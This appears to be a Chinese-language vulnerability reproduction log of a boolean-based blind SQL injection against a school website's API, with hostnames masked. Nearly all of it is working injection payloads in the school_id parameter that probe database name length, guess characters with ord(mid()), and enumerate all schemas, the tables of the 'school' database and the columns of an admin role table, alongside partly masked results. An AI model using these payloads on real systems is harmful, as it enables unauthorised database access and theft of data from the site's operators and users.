漏洞复现
sql盲注
判断正确会回复正常消息
数据库长度为6
https://xxx.xxx.com/xxxApi/getJsxxxxxxp?school_id=3 and length(database())=6&news_url=1
school_id=3 and ord(mid(database(),1,1))=115&news_url=1
第一个字母是s
进行爆破
数据库名为school
?school_id=3 and database()='school'&news_url=1
https://xxxxxxxxxxxx?school_id=3 and length((select group_concat(schema_name)from information_schema.schemata))=118&news_url=1
所有数据库长度118
https://xxxxxxxxxxxxxxxxxxxx?school_id=3 and ord(mid((select group_concat(schema_name)from information_schema.schemata),1,1))=105&news_url=1
information_schema,civixxxx,clotxxxs,impoxxxt,lxxx,mysql,performance_schema,schooxxl,sys,xxxxxl_job,yuxxxxnzx_clxxxxddb,yxxx
数据表名长度1024
https://xxxxxxxxxxxxxxxxxxxx?school_id=3 and length((select group_concat(table_name) from information_schema.tables where table_schema='school'))=1024&news_url=1
t_adxxxn_role,t_adxxxn_role_tree,t_axxxx_tree,txxxxi
https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?school_id=3 and length((select group_concat(column_name) from information_schema.columns where table_schema='school'and table_name='t_admin_role'))=53&news_url=1
https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx?school_id=3 and ord(mid((select group_concat(column_name) from information_schema.columns where table_schema='school'and table_name='t_admin_role'),1,1))=105&news_url=1
id,rolxxxme,code,stxxxxs,cxxxxdate,rxxxrk,cxxxxte_id